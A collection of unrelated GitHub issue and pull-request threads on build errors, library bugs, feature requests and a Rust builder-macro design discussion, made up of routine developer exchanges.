In file included from /Applications/Xcode.app/Contents/Developer/Platforms/iPhoneOS.platform/Developer/SDKs/iPhoneOS8.3.sdk/usr/include/sys/unistd.h:195:
/Applications/Xcode.app/Contents/Developer/Platforms/iPhoneOS.platform/Developer/SDKs/iPhoneOS8.3.sdk/usr/include/sys/_types/_ssize_t.h:30:9: error: unknown type name '__darwin_ssize_t'; did you mean
      '__darwin_blksize_t'?
typedef __darwin_ssize_t        ssize_t;
        ^
/Applications/Xcode.app/Contents/Developer/Platforms/iPhoneOS.platform/Developer/SDKs/iPhoneOS8.3.sdk/usr/include/sys/_types.h:56:19: note: '__darwin_blksize_t' declared here
typedef __int32_t       __darwin_blksize_t;     /* preferred block size */
                        ^
fatal error: too many errors emitted, stopping now [-ferror-limit=]
20 errors generated.

Strange thing: I can install it using sudo, but I never ever need to do that with any package.

This package has a compilation step which requires xcode (on OSX).
I would guess it has to do with your xcode configuration, which is different when you use sudo.
Notice that the errors indicate your compiler is configured to use header files for iPhone.

Yeah, I was wondering about the loading order of the paths that make it find iPhone headers. It's in xcode probably. Too much of a noob to fix that. Tried for hours.
Strange that sudo made it work tho

On 16 May 2015, at 03:41, Eyal Arubas<EMAIL_ADDRESS>wrote:
This package has a compilation step which requires xcode (on OSX).
I would guess it has to do with your xcode configuration, which is different when you use sudo.
Notice that the errors indicate your compiler is configured to use header files for iPhone.
—
Reply to this email directly or view it on GitHub.


Mouse has jerky movement at higher sensitivities

Using the mouse state deltas directly works but is slow. If you scale the deltas up, diagonal movement is jerky. It seems like this is a result of the deltas being stored as integers. Is this intentional? If it is, how can I make mouse movement smoother?

This is for the projects here and here rather than the DirectX Tool Kit itself...
Looking at the code, part of the problem is I think I used elapsedTime too many times:
            Vector3 delta;
            if (kb.LeftShift || kb.RightShift)
            {
                delta = Vector3(0.f, 0.f, -float(mouse.y) * handed) * m_distance * elapsedTime;
            }
            else
            {
                delta = Vector3(-float(mouse.x), float(mouse.y), 0.f) * m_distance * elapsedTime;
            }
...
    m_cameraFocus += delta * elapsedTime;

Apologies for submitting this on the wrong project. I wasn't paying enough attention.
However, the reason I used the model viewer project in the gif was to show that it wasn't a problem specific to my project. This occurs in my project as well.
Thank you for responding so quickly! I really appreciate it


[BUG]

Describe the bug
I use just one connection(azure openai connection ) to use gpt3.5, After using it for a while, the server got stuck.
The log full of something like "{"log":"\u001b[0m\u001b[0m\u001b[0m\u......"
How To Reproduce the bug
Steps to reproduce the behavior, how frequent can you experience the bug:
1.
Expected behavior
Screenshots
If applicable, add screenshots to help explain your problem.
Running Information(please complete the following information):

Promptflow Package Version using pf -v: 1.2.0
Operating System: centos7
Python Version using python --version:  python==3.10

Additional context

Hi @ggcking , to better understand your scenario, are you using flow run or flow test? Could you provide full log with timestamp like this to help us debug the issue? Thanks!
2024-01-02 15:21:56 +0800    5256 execution.bulk     INFO     Current system's available memory is 8056.85546875MB, memory consumption of current process is<PHONE_NUMBER>MB, estimated available worker count is 8056.85546875/152.1015625 = 52
2024-01-02 15:21:56 +0800    5256 execution.bulk     INFO     Set process count to 1 by taking the minimum value among the factors of {'default_worker_count': 16, 'row_count': 1, 'estimated_worker_count_based_on_memory_usage': 52}.
2024-01-02 15:21:59 +0800   44428 execution.bulk     INFO     Process 44428 started.
...


feat: add variable to set SSL listener policy

Description

add variable to allow changing SSL listener policy on HTTPS listener; currently set to current modules default so no changes to current module users

Motivation and Context

to be able to use a stronger cipher suite on the ALB that is created

Breaking Changes
none
How Has This Been Tested?

complete example was updated and validated deployment

Thank you!
v2.23.0 has been just released.


Support for Circle of Wildfire

Is your feature request related to a problem? Please describe.
We now have permission to add support for the Circle of Wildfire subclass.
Describe the solution you'd like
It will need to be implemented in the same way as PR 39, which handled some fighter subclasses.

Merged for 1.1.0


Duplicate all name tags on metrics with the disruptionName tag

What does this PR do?

[ ] Adds new functionality
[ ] Alters existing functionality
[ ] Fixes a bug
[ ] Improves documentation or testing

Please briefly describe your changes as well as the motivation behind them:

We've found that the name tag is too generic, and overlaps with other metric tags. We plan to change this to disruptionName instead. We will leave both tags for a single release, to allow for users to switch over smoothly, then we will remove the name: tag from all metrics. fyi @nikos912000
I will put ^ in the release notes for the release containing this PR

Code Quality Checklist

[ ] The documentation is up to date.
[ ] My code is sufficiently commented and passes continuous integration checks.
[ ] I have signed my commit (see Contributing Docs).

Testing

[ ] I leveraged continuous integration testing

[ ] by depending on existing unit tests or end-to-end tests.
[ ] by adding new unit tests or end-to-end tests.

[ ] I manually tested the following steps:

x
[ ] locally.
[ ] as a canary deployment to a cluster.

Do we also want to leave some comments for new people when they're first looking at the code and are confused as to why we are doing this?

No. I'm going to cut a release after this is merged, then immediately remove the old tags.


My youtube-dl ip :<IP_ADDRESS>(HongKong) ,But I get the parsed video's url But Can't play in PC'S browser(google chrome) who's ip is :<IP_ADDRESS>(India)

Please follow the guide below

You will be asked some questions and requested to provide some information, please read them carefully and answer honestly
Put an x into all the boxes [ ] relevant to your issue (like this: [x])
Use the Preview tab to see what your issue will actually look like

Make sure you are using the latest version: run youtube-dl --version and ensure your version is 2018.09.10. If it's not, read this FAQ entry and update. Issues with outdated version will be rejected.

[ x] I've verified and I assure that I'm running youtube-dl 2018.09.10

Before submitting an issue make sure you have:

[x ] At least skimmed through the README, most notably the FAQ and BUGS sections
[ x] Searched the bugtracker for similar issues including closed ones
[ x] Checked that provided video/audio/playlist URLs (if any) are alive and playable in a browser

What is the purpose of your issue?

[ ] Bug report (encountered problems with youtube-dl)
[ ] Site support request (request for adding support for a new site)
[ ] Feature request (request for a new functionality)
[x ] Question
[ ] Other

The following sections concretize particular purposed issues, you can erase any section (the contents between triple ---) not applicable to your issue

If the purpose of this issue is a bug report, site support request or you are not completely sure provide the full verbose output as follows:
Add the -v flag to your command line you run youtube-dl with (youtube-dl -v <your command line>), copy the whole output and insert it here. It should look similar to one below (replace it with your log inserted between triple ```):
[debug] System config: []
[debug] User config: []
[debug] Command-line args: [u'-v', u'http://www.youtube.com/watch?v=BaW_jenozKcj']
[debug] Encodings: locale cp1251, fs mbcs, out cp866, pref cp1251
[debug] youtube-dl version 2018.09.10
[debug] Python version 2.7.11 - Windows-2003Server-5.2.3790-SP2
[debug] exe versions: ffmpeg N-75573-g1d0487f, ffprobe N-75573-g1d0487f, rtmpdump 2.4
[debug] Proxy map: {}
shell@iZ620vnh79jZ:~$ sudo youtube-dl -vC -g -f mp4   https://www.youtube.com/watch?v=qTrS4nGDoJo
[debug] System config: []
[debug] User config: []
[debug] Custom config: []
[debug] Command-line args: [u'-vC', u'-g', u'-f', u'mp4', u'https://www.youtube.com/watch?v=qTrS4nGDoJo']
WARNING: Assuming --restrict-filenames since file system encoding cannot encode all characters. Set the LC_ALL environment variable to fix this.
[debug] Encodings: locale ANSI_X3.4-1968, fs ANSI_X3.4-1968, out ANSI_X3.4-1968, pref ANSI_X3.4-1968
[debug] youtube-dl version 2018.09.10
[debug] Python version 2.7.6 (CPython) - Linux-3.13.0-86-generic-x86_64-with-Ubuntu-14.04-trusty
[debug] exe versions: none
[debug] Proxy map: {}
[debug] Public IP address: <IP_ADDRESS>
https://r2---sn-i3b7kn7k.googlevideo.com/videoplayback?requiressl=yes&ratebypass=yes&itag=22&dur=690.097&lmt=1536617719196842&expire=1536701040&sparams=dur%2Cei%2Cgcr%2Cid%2Cinitcwndbps%2Cip%2Cipbits%2Citag%2Clmt%2Cmime%2Cmm%2Cmn%2Cms%2Cmv%2Cpl%2Cratebypass%2Crequiressl%2Csource%2Cexpire&source=youtube&key=yt6&mime=video%2Fmp4&c=WEB&initcwndbps=2055000&id=o-AA0bxpLtV0yjNkXzAPY4PX9uA81PoXSYYjcMr5sPpH_T&mn=sn-i3b7kn7k%2Csn-i3beln7z&mm=31%2C29&ms=au%2Crdu&gcr=hk&mv=m&mt=1536679380&txp=5531332&signature=8B0D9DCAFC2D9575EB502F4832BA7B845246DC15.0B8B6CD2BD1CD4B4CDCA0CAD29793420AFC3C0CB&ip=<IP_ADDRESS>&ei=D96XW73sM4iK4AKt07GIDA&pl=17&ipbits=0&fvip=4
<end of log>

If the purpose of this issue is a site support request please provide all kinds of example URLs support for which should be included (replace following example URLs by yours):

Single video: https://www.youtube.com/watch?v=qTrS4nGDoJo
Single video: https://youtu.be/qTrS4nGDoJo

Note that youtube-dl does not support sites dedicated to copyright infringement. In order for site support request to be accepted all provided example URLs should not violate any copyrights.

Description of your issue, suggested solution and other information
Explanation of your issue in arbitrary form goes here. Please make sure the description is worded well enough to be understood. Provide as much context and examples as possible.
If work on your issue requires account credentials please provide them or explain how one can obtain them.
When I use the server (It in HongKong) to parse the  youtube video (videoid:qTrS4nGDoJo), then I get the parsed url .the parsed url can played in HongKong ,But when  i change my vpn ,I can't play the video ;
Why ?But I how solove the problem ?
I need your help !
Sorry ,my English is very poor ; I must obtain the requiration ;

OK ,parsed url :https://r2---sn-i3b7kn7k.googlevideo.com/videoplayback?requiressl=yes&ratebypass=yes&itag=22&dur=690.097&lmt=1536617719196842&expire=1536701040&sparams=dur%2Cei%2Cgcr%2Cid%2Cinitcwndbps%2Cip%2Cipbits%2Citag%2Clmt%2Cmime%2Cmm%2Cmn%2Cms%2Cmv%2Cpl%2Cratebypass%2Crequiressl%2Csource%2Cexpire&source=youtube&key=yt6&mime=video%2Fmp4&c=WEB&initcwndbps=2055000&id=o-AA0bxpLtV0yjNkXzAPY4PX9uA81PoXSYYjcMr5sPpH_T&mn=sn-i3b7kn7k%2Csn-i3beln7z&mm=31%2C29&ms=au%2Crdu&gcr=hk&mv=m&mt=1536679380&txp=5531332&signature=8B0D9DCAFC2D9575EB502F4832BA7B845246DC15.0B8B6CD2BD1CD4B4CDCA0CAD29793420AFC3C0CB&ip=<IP_ADDRESS>&ei=D96XW73sM4iK4AKt07GIDA&pl=17&ipbits=0&fvip=4
Can't play , and its tips is :
Access to r2---sn-i3b7kn7k.googlevideo.com.... was denied
You don't have authorization to view this page.
HTTP ERROR 403

https://github.com/rg3/youtube-dl#i-extracted-a-video-url-with--g-but-it-does-not-play-on-another-machine--in-my-web-browser


A "return" might be missing on the following line

https://github.com/JakeWharton/SdkSearch/blob/39a311c9ef2a1b7791c9810b55bacc538d238476/sync/src/main/java/com/jakewharton/sdksearch/sync/ItemSynchronizer.kt#L77
Just reading the code and noticed that it's probably supposed to return there.

Seems like it, yes. Good eye.
On Tue, Apr 3, 2018 at 7:15 AM Gabor Varadi<EMAIL_ADDRESS>wrote:

https://github.com/JakeWharton/SdkSearch/blob/39a311c9ef2a1b7791c9810b55bacc538d238476/sync/src/main/java/com/jakewharton/sdksearch/sync/ItemSynchronizer.kt#L77
Just reading the code and noticed that it's probably supposed to return
there.
—
You are receiving this because you are subscribed to this thread.
Reply to this email directly, view it on GitHub
https://github.com/JakeWharton/SdkSearch/issues/84, or mute the thread
https://github.com/notifications/unsubscribe-auth/AAEEEVpOv3VpGHIKZgh3BkY6xwGHT_u_ks5tk1nPgaJpZM4TE4vQ
.


[r] Refine group member caching behavior

Changes: This refines member cache handling in the TileDBGroup class.
Notes for Reviewer: When adding a new member, the original URI is now preserved in the member cache.

Codecov Report
Patch coverage has no change and project coverage change: -11.55 :warning:

Comparison is base (02e0b2f) 65.17% compared to head (87163b6) 53.62%.

:exclamation: Current head 87163b6 differs from pull request most recent head 58f35dc. Consider uploading reports for the commit 58f35dc to get more accurate results

:mega: This organization is not using Codecov’s GitHub App Integration. We recommend you install it so Codecov can continue to function properly for your repositories. Learn more
Additional details and impacted files
@@             Coverage Diff             @@
##             main    #1272       +/-   ##
===========================================
- Coverage   65.17%   53.62%   -11.55%
===========================================
  Files          96       66       -30
  Lines        7699     5320     -2379
===========================================
- Hits         5018     2853     -2165
+ Misses       2681     2467      -214

Flag
Coverage Δ

python
?

r
53.62% <ø> (+0.08%)
:arrow_up:

Flags with carried forward coverage won't be shown. Click here to find out more.
see 31 files with indirect coverage changes
Help us with your feedback. Take ten seconds to tell us how you rate us. Have a feature suggestion? Share it here.

:umbrella: View full report in Codecov by Sentry.
:loudspeaker: Do you have feedback about the report comment? Let us know in this issue.


[build] Automate build & launch of Storybook

🏆 Enhancements
build.py - when run, will build & launch Storybook. Previously, a dev would need to run four separate commands to build Storybook according to the docs.
📜 Documentation
Added instructions on running build.py in documentation, under Storybook

Closing as I made an error and added files not relevant to the PR


Migrate thresholds to typescript

Migrate missing thresholds from operations/thresholds.

Left to to: write tests for all of the thresholds? Are they any existing ones?


doxygen: updated text message of doxygen cover

This commit is to update a text message of doxygen cover.
Replaced 'nnstreamer' with 'developer manual'.
Signed-off-by: Geunsik Lim<EMAIL_ADDRESS>
[Template] PR Description
In general, github system automatically copies your commit message for your convenience.
Please remove unused part of the template after writing your own PR description with this template.
$ git commit -s filename1 filename2 ... [enter]

Summarize changes in around 50 characters or less

More detailed explanatory text, if necessary. Wrap it to about 72
characters or so. In some contexts, the first line is treated as the
subject of the commit and the rest of the text as the body. The
blank line separating the summary from the body is critical;
various tools like `log`, `shortlog` and `rebase` can get confused
if you run the two together.

Further paragraphs come after blank lines.

**Changes proposed in this PR:**
- Bullet points are okay, too
- Typically a hyphen or asterisk is used for the bullet, preceded
  by a single space, with blank lines in between, but conventions vary here.

Resolves: #123
See also: #456, #789

**Self evaluation:**
1. Build test: [ ]Passed [ ]Failed [*]Skipped
2. Run test: [ ]Passed [ ]Failed [* ]Skipped

**How to evaluate:**
1. Describe how to evaluate in order to be reproduced by reviewer(s).

Add signed-off message automatically by running **$git commit -s ...** command.

$ git push origin <your_branch_name>

:memo: Version: 1.20180820. Thank you for submitting PR #220. Your PR must pass all verificiation processes of cibot before starting a review process from reviewers. If you are new member to join this project, please read manuals in documentation folder and wiki page. In order to monitor a progress status of your PR in more detail, visit http://invain.mooo.com/.

We generate a report if there are dangerous coding constructs in your code. Please read http://invain.mooo.com/TAOS-CI/ci/repo-workers/pr-format/201809061357180.30039095878601-220-50072a493ea2c7a0816fc2a4a8dd268bf2db8305/report/.


Add support for repo label list/find/create/update/delete

Coverage increased (+0.2%) to 89.72% when pulling e95a419bfebb85df9429b36039894562bfa0c3e4 on danielfarrell:repo-issues into ce2782a6fc948dbcfdcb53ae145cd55e46199d25 on edgurgel:master.


Missing column "Management" in the Dependencies side drawer

Environment

Fedora 36
minikube v1.31.2 (--driver=kvm2 --memory=10g --cpus=3)
Konveyor 0.3 alpha-2 with additional images:

ui_image_fqin: quay.io/ibolton/tackle2-ui:demo
hub_image_fqin: quay.io/jortel/tackle2-hub:demo
analyzer_fqin: quay.io/jortel/tackle2-addon-analyzer:demo

tackle-testapp application
Analysis configuration:

Source + Dependencies
cloud-readiness, linux
Application and internal dependencies only
No custom rules
No additional advanced options

Description
The Management column that defines if a dependency is managed or embedded is missing from the side drawer in the Dependencies view.
How to reproduce

Click on the Dependencies option in the left menu.
Click on any dependency from the main table.

Expected result

Actual result

@dymurray Reproduced in 0.3-alpha5


NA Map R2 (2017-11-09) pre-release test - Error loading data layer - 3 (Geofabric)

Error loading data

Water/Geofabric/Surface_Cartography/(All)Surface_Cartography

The system is under heavy load at the moment because we've received several large historic resupplies from the data providers at the same time. They were requested in a staggered fashion (to onboard new data categories), but unfortunately a few providers chose the same day to send them. With large data supplies coming in at that rate, WISKI gets overloaded recalculating time series.
Hopefully this situation will settle over the next couple of days.


Adding squeeze op

squeeze is implemented through reshape
Validate checks:

that dim is valid int in range [0, inputType.getRank() - 1]
that the dimension dim is 1 in the input tensor
that the output tensor has at least one dimension
that the rank of the output tensor is one less than the input tensor
that the dimensions of the output tensor are the same as the input tensor except for dimension dim

@svuckovicTT yea its one item for both squeeze and unsqueeze. I will close it with unsqueeze PR.


#[builder(default = ...)] for generic field got error "expected type parameter, found concrete type"

#[derive(TypedBuilder)]
struct Foo<T> {
    #[builder(default = 12)]
    x: T,
}

error[E0308]: mismatched types
  --> tests/tests.rs:60:29
   |
59 |     struct Foo<T> {
   |                - this type parameter
60 |         #[builder(default = 12)]
   |                             ^^ expected type parameter `T`, found integer
   |
   = note: expected type parameter `T`
                        found type `{integer}`

This is the correct behavior. The default value 12 only works for integers, but T can be anything (excluding unsized types, of course). If that would work, Foo::<String>::builder()::build() for example would have tried to put 12 into a string value - which is not allowed.

This is the correct behavior. The default value 12 only works for integers, but T can be anything (excluding unsized types, of course). If that would work, Foo::<String>::builder()::build() for example would have tried to put 12 into a string value - which is not allowed.

Thanks for your reply!
I agree that Foo::<String>::builder()::build() should be rejected, because Foo::<String> { x: 12 } is rejected for the same type error.
Let's think about Foo { x: 12 }. In this example we let the compiler infer the type parameter T from the field value we give, then finally we get a Foo<i32> struct. Similarly by Foo::builder().x(12).build() we get a Foo<i32> too.
By using #[builder(default = ...)] what I exactly mean is "the user of Foo don't have an opinion about the field x, so let me give it a default value". I think "a default value" also implies a default type. What I expect is that the compiler infers the type of x from the default value and fill the type paramater of final struct with that inferred type.
In other words, by giving a generic field a default value, then I hope the macro can transform Foo::builder().build() to Foo { x: 12 }.
Currently what is going wrong is the direction of type inference: we get T from Foo::builder(), and then in turn constrain the default value is also a T. I believe this is not ideal.

Thanks for your reply!
I agree that Foo::<String>::builder()::build() should be rejected, because Foo::<String> { x: 12 } is rejected for the same type error.
Let's think about Foo { x: 12 }. In this example we let the compiler infer the type parameter T from the field value we give, then finally we get a Foo<i32> struct. Similarly by Foo::builder().x(12).build() we get a Foo<i32> too.
By using #[builder(default = ...)] what I exactly mean is "the user of Foo don't have an opinion about the field x, so let me give it a default value". I think "a default value" also implies a default type. What I expect is that the compiler infers the type of x from the default value and fill the type paramater of final struct with that inferred type.
In other words, by giving a generic field a default value, then I hope the macro can transform Foo::builder().build() to Foo { x: 12 }.
Currently what is going wrong is the direction of type inference: we get T from Foo::builder(), and then in turn constrain the default value is also a T. I believe this is not ideal.

The TL;DR is, code
// Compiling error
#[derive(TypedBuilder)]
struct Foo<T> {
    #[builder(default = 12)]
    x: T,
}
Foo::builder().build()

should equal to
// OK
#[derive(TypedBuilder)]
struct Foo<T> {
    x: T,
}

Foo::builder().x(12).build()

The TL;DR is, code
// Compiling error
#[derive(TypedBuilder)]
struct Foo<T> {
    #[builder(default = 12)]
    x: T,
}
Foo::builder().build()

should equal to
// OK
#[derive(TypedBuilder)]
struct Foo<T> {
    x: T,
}

Foo::builder().x(12).build()

So Foo::builder().build() should infer the generic parameter from the fact no value was given for x and its default value is an integer?
I'm not sure this is even possible in Rust. The TypedBuilder custom derive macro would have to generate a type constraint that 12 can be of type T - a facility that Rust does not currently have - in order to constrain the build() method with it.
And even if Rust had such a facility - best I could do is support a default that only works is the generic parameter is already inferred to be an integer by something else. Maybe Rust's type inference is powerful enough to take you the rest of the way - but I seriously doubt it.
Finally - this feels like breaking the Rust rule that the information about the types should be in the signatures, not in the implementation body. And yes, you can argue that the attributes are part of the signature, but #[builder(default)] acts as an implementing code generator and it feels wrong to have it affect the signature...

So Foo::builder().build() should infer the generic parameter from the fact no value was given for x and its default value is an integer?
I'm not sure this is even possible in Rust. The TypedBuilder custom derive macro would have to generate a type constraint that 12 can be of type T - a facility that Rust does not currently have - in order to constrain the build() method with it.
And even if Rust had such a facility - best I could do is support a default that only works is the generic parameter is already inferred to be an integer by something else. Maybe Rust's type inference is powerful enough to take you the rest of the way - but I seriously doubt it.
Finally - this feels like breaking the Rust rule that the information about the types should be in the signatures, not in the implementation body. And yes, you can argue that the attributes are part of the signature, but #[builder(default)] acts as an implementing code generator and it feels wrong to have it affect the signature...

I think you are right. I tried to implement Default for Foo<T>, which failed when I return a Foo<i32> in fn default() -> Foo<T>
.
But I can implement Default for Foo<i32>, and that works well:
struct Foo<T> {
    x: T,
}

impl Default for Foo<i32> {
    fn default() -> Self {
        Foo { x: 12 }
    }
}

Foo::default()

support a default that only works is the generic parameter is already inferred to be an integer by something else

So I'm thinking If we can let the default attribute take an additional argument which is the type of the generic field. This is something like "implement Default for Foo<i32>. I edited the output of cargo expand and get this:
#[derive(Debug)]
struct Foo<X> {
    x: X,
}
impl<X> Foo<X> {
    #[allow(dead_code)]
    fn builder() -> FooBuilder<((),), X> {
        FooBuilder {
            fields: ((),),
            _phantom: core::default::Default::default(),
        }
    }
}
#[must_use]
#[doc(hidden)]
#[allow(dead_code, non_camel_case_types, non_snake_case)]
struct FooBuilder<TypedBuilderFields, X> {
    fields: TypedBuilderFields,
    _phantom: core::marker::PhantomData<X>,
}
#[doc(hidden)]
#[allow(dead_code, non_camel_case_types, non_snake_case)]
pub trait FooBuilder_Optional_x<T> {
    fn into_value(self) -> T;
}
impl FooBuilder_Optional_x<i32> for () {
    fn into_value(self) -> i32 {
        12 // I edited the trait to return default value directly from the impl
    }
}
impl<T> FooBuilder_Optional_x<T> for (T,) {
    fn into_value(self) -> T {
        self.0
    }
}
#[allow(dead_code, non_camel_case_types, missing_docs)]
impl<X> FooBuilder<((),), X> {
    pub fn x(self, x: X) -> FooBuilder<((X,),), X> {
        let x = (x,);
        let (_,) = self.fields;
        FooBuilder {
            fields: (x,),
            _phantom: self._phantom,
        }
    }
}
#[doc(hidden)]
#[allow(dead_code, non_camel_case_types, non_snake_case)]
pub enum FooBuilder_Error_Repeated_field_x {}
#[doc(hidden)]
#[allow(dead_code, non_camel_case_types, missing_docs)]
impl<X> FooBuilder<((X,),), X> {
    #[deprecated(note = "Repeated field x")]
    pub fn x(self, _: FooBuilder_Error_Repeated_field_x) -> FooBuilder<((X,),), X> {
        self
    }
}
#[allow(dead_code, non_camel_case_types, missing_docs)]
impl<X, __x: FooBuilder_Optional_x<X>> FooBuilder<(__x,), X> {
    pub fn build(self) -> Foo<X> {
        let (x,) = self.fields;
        let x = FooBuilder_Optional_x::into_value(x);
        Foo { x }
    }
}

fn main() {
    dbg!(Foo::builder().build()); // works, x = 12
    dbg!(Foo::builder().x("hello").build()); // works, x = "hello"
    dbg!(Foo::<String>::builder().build()); // error[E0599]: no method named `build` found for struct `FooBuilder<((),), String>` in the current scope
}

That works well except for the error message, and my initial try found that for better error message I will get "duplicate definition for build" error. So I'm stuck here, and maybe I should just use trait objects instead...

I think you are right. I tried to implement Default for Foo<T>, which failed when I return a Foo<i32> in fn default() -> Foo<T>
.
But I can implement Default for Foo<i32>, and that works well:
struct Foo<T> {
    x: T,
}

impl Default for Foo<i32> {
    fn default() -> Self {
        Foo { x: 12 }
    }
}

Foo::default()

support a default that only works is the generic parameter is already inferred to be an integer by something else

So I'm thinking If we can let the default attribute take an additional argument which is the type of the generic field. This is something like "implement Default for Foo<i32>. I edited the output of cargo expand and get this:
#[derive(Debug)]
struct Foo<X> {
    x: X,
}
impl<X> Foo<X> {
    #[allow(dead_code)]
    fn builder() -> FooBuilder<((),), X> {
        FooBuilder {
            fields: ((),),
            _phantom: core::default::Default::default(),
        }
    }
}
#[must_use]
#[doc(hidden)]
#[allow(dead_code, non_camel_case_types, non_snake_case)]
struct FooBuilder<TypedBuilderFields, X> {
    fields: TypedBuilderFields,
    _phantom: core::marker::PhantomData<X>,
}
#[doc(hidden)]
#[allow(dead_code, non_camel_case_types, non_snake_case)]
pub trait FooBuilder_Optional_x<T> {
    fn into_value(self) -> T;
}
impl FooBuilder_Optional_x<i32> for () {
    fn into_value(self) -> i32 {
        12 // I edited the trait to return default value directly from the impl
    }
}
impl<T> FooBuilder_Optional_x<T> for (T,) {
    fn into_value(self) -> T {
        self.0
    }
}
#[allow(dead_code, non_camel_case_types, missing_docs)]
impl<X> FooBuilder<((),), X> {
    pub fn x(self, x: X) -> FooBuilder<((X,),), X> {
        let x = (x,);
        let (_,) = self.fields;
        FooBuilder {
            fields: (x,),
            _phantom: self._phantom,
        }
    }
}
#[doc(hidden)]
#[allow(dead_code, non_camel_case_types, non_snake_case)]
pub enum FooBuilder_Error_Repeated_field_x {}
#[doc(hidden)]
#[allow(dead_code, non_camel_case_types, missing_docs)]
impl<X> FooBuilder<((X,),), X> {
    #[deprecated(note = "Repeated field x")]
    pub fn x(self, _: FooBuilder_Error_Repeated_field_x) -> FooBuilder<((X,),), X> {
        self
    }
}
#[allow(dead_code, non_camel_case_types, missing_docs)]
impl<X, __x: FooBuilder_Optional_x<X>> FooBuilder<(__x,), X> {
    pub fn build(self) -> Foo<X> {
        let (x,) = self.fields;
        let x = FooBuilder_Optional_x::into_value(x);
        Foo { x }
    }
}

fn main() {
    dbg!(Foo::builder().build()); // works, x = 12
    dbg!(Foo::builder().x("hello").build()); // works, x = "hello"
    dbg!(Foo::<String>::builder().build()); // error[E0599]: no method named `build` found for struct `FooBuilder<((),), String>` in the current scope
}

That works well except for the error message, and my initial try found that for better error message I will get "duplicate definition for build" error. So I'm stuck here, and maybe I should just use trait objects instead...

I found a workaround for my use case.
What I'm doing is storing an optional callback in a struct:
#[derive(TypedBuilder)]
struct Foo<F>
where
    F: FnMut(),
{
    #[builder(default = None)]
    f: Option<F>,
}

The code above does compile well. (It's weird that default = None works but default = 12 doesn't.)
To build the struct, I need to specify the type: Foo::<fn()>::builder().build().
@idanarye you can close this if you think it's impossible to make the initial code work.

Oh... your type is a closure. Suddenly your problem makes much more sense...
Your solution will not work. Yes, it will compile, and yes, you can build Foo if you pass a closure - but not you won't be able to build using f's default value. The reason is that even if the value of f is None, Rust still need to infer a concrete type for F in order to create an instance of Foo.
Frankly - I'm not even sure if what you want can be done in Rust...
If you are willing to take a slight performance hit, you can box a dynamic closure:
#[derive(typed_builder::TypedBuilder)]
struct Foo
{
    #[builder(default = Box::new(|| println!("default f")))]
    f: Box<dyn FnMut()>,
}

fn main() {
    (Foo::builder().build().f)();
    (Foo::builder().f(Box::new(|| println!("nondefault f"))).build().f)();
}

I can even throw in a strip_box attribute for removing some of that boilerplate.

Yes I'm going to use boxed closure :smile:
I just found that the default value of type parameter may help here, just like std::lazy::Lazy:
pub struct Lazy<T, F = fn() -> T> { ... }

And it's Default implementation at the end of that file.
Currently, in the generated FooBuilder, typed-builder seems to ignore the default value.

Just for more context: I'm writing a crate which brings Flutter's layout style to TUI world, and there's a proc-macro build! which transforms struct literal syntax to builder pattern. For example the code
build! {
    Padding {
        padding: EdgeInsets { left: 2, },
        child: Text {
            text: "Hello world!",
        },
    }
}

expands to
Padding::builder()
    .padding(EdgeInsets::builder().left(2).build())
    .child(Text::builder().text("Hello world!\n").build())
    .build()

In my crate I store the event handler callback in a struct.

Additional comment here. This builder pattern is actually in use in very popular Rust libraries. For example, in the rayon library:
https://github.com/rayon-rs/rayon/blob/3e3962cb8f7b50773bcc360b48a7a674a53a2c77/rayon-core/src/lib.rs#L443-L460
The default builder use a ThreadPoolBuilder<DefaultSpawn>. When the user supply it with a closure type, it became ThreadPoolBuilder<CustomSpawn> to store that closure. In order to achieve this, rayon's ThreadPoolBuilder uses moving self signature all over the place, but this pattern would be very compatible with a type-based builder macro.


Couldn't update wsl (problems with perl)

Your Windows build number:  (Type ver at a Windows Command Prompt)

Microsoft Windows [Version 10.0.16299.125]

What you're doing and what's happening:  (Copy&paste specific commands and their output, or include screen shots)

Try to upgrade wsl

What's wrong / what should be happening instead:

$ sudo apt-get upgrade
Reading package lists... Done
Building dependency tree
Reading state information... Done
You might want to run 'apt-get -f install' to correct these.
The following packages have unmet dependencies:
 perl : Depends: perl-modules-5.22 (>= 5.22.1-9ubuntu0.2) but 5.22.1-9 is installed
        Depends: libperl5.22 (= 5.22.1-9ubuntu0.2) but 5.22.1-9 is installed
E: Unmet dependencies. Try using -f.
$ sudo apt-get -f install
Reading package lists... Done
Building dependency tree
Reading state information... Done
Correcting dependencies... Done
The following additional packages will be installed:
  libperl5.22 perl-modules-5.22
The following packages will be upgraded:
  libperl5.22 perl-modules-5.22
2 upgraded, 0 newly installed, 0 to remove and 138 not upgraded.
2 not fully installed or removed.
Need to get 0 B/6,053 kB of archives.
After this operation, 12.3 kB disk space will be freed.
Do you want to continue? [Y/n] y
(Reading database ... 25474 files and directories currently installed.)
Preparing to unpack .../perl-modules-5.22_5.22.1-9ubuntu0.2_all.deb ...
Unpacking perl-modules-5.22 (5.22.1-9ubuntu0.2) over (5.22.1-9) ...
dpkg: error processing archive /var/cache/apt/archives/perl-modules-5.22_5.22.1-9ubuntu0.2_all.deb (--unpack):
 unable to stat './usr/share/perl/5.22.1/pod' (which I was about to install): Permission denied
dpkg-deb: error: subprocess paste was killed by signal (Broken pipe)
Errors were encountered while processing:
 /var/cache/apt/archives/perl-modules-5.22_5.22.1-9ubuntu0.2_all.deb
E: Sub-process /usr/bin/dpkg returned an error code (1)

Try to change permissions but it didn't help. Here someone described same problem: https://ubuntuforums.org/showthread.php?t=2378749

https://ubuntuforums.org/showthread.php?t=2378749


Error Checking and Detecting Unused Variables Functionality

Description
Added an error checking button and a checking for unused variables button to both the flowchart window and the flowchart editor. This serves as a "sanity check" that finds the issues in the current flowchart, colouring commands/blocks red, and/or prints out the issues found in the log so users may correct these problems faster.
What is the current behavior?
Currently, if there is a missing targetBlock in a Call command, a missing returnValue in an IF command, it's difficult to find the problem.
What is the new behavior?

Pressing the "Check for Errors" button colours any command that contains an error in its summary, and any block that contains any command that contains error in its summary.
Pressing the "Check for Unused Variables" button prints out all unused variables.
2.a If "remove unused variables" is enabled, it removes all unused variables from the list as well.

Important Notes

My change may require modifcations or additions to documentation (though maybe it's self-explanatory enough?)

Most commands already have "Error: [...]" in their summary when a targetBlock or parameters are null. Additionally:

The GetSummary() of the Call.cs should now read "Error: targetBlock null!" when its targetBlock is null
The GetSummary() of the Say.cs should now read "Error: character null!" when its character is null

(There are potentially other areas where the summary could be updated in this manner, for example menuDialog being null in Menu commands, MenuTimer having 0 time, VO clip missing from a Say command (probably needs a bool to enable this check, I presume some people dont plan to have VO) and so on.)
Adjusted the CommandListAdaptor, so that it colours the commands red when they contain an error, and their text white for readability, so users can find issues easier.
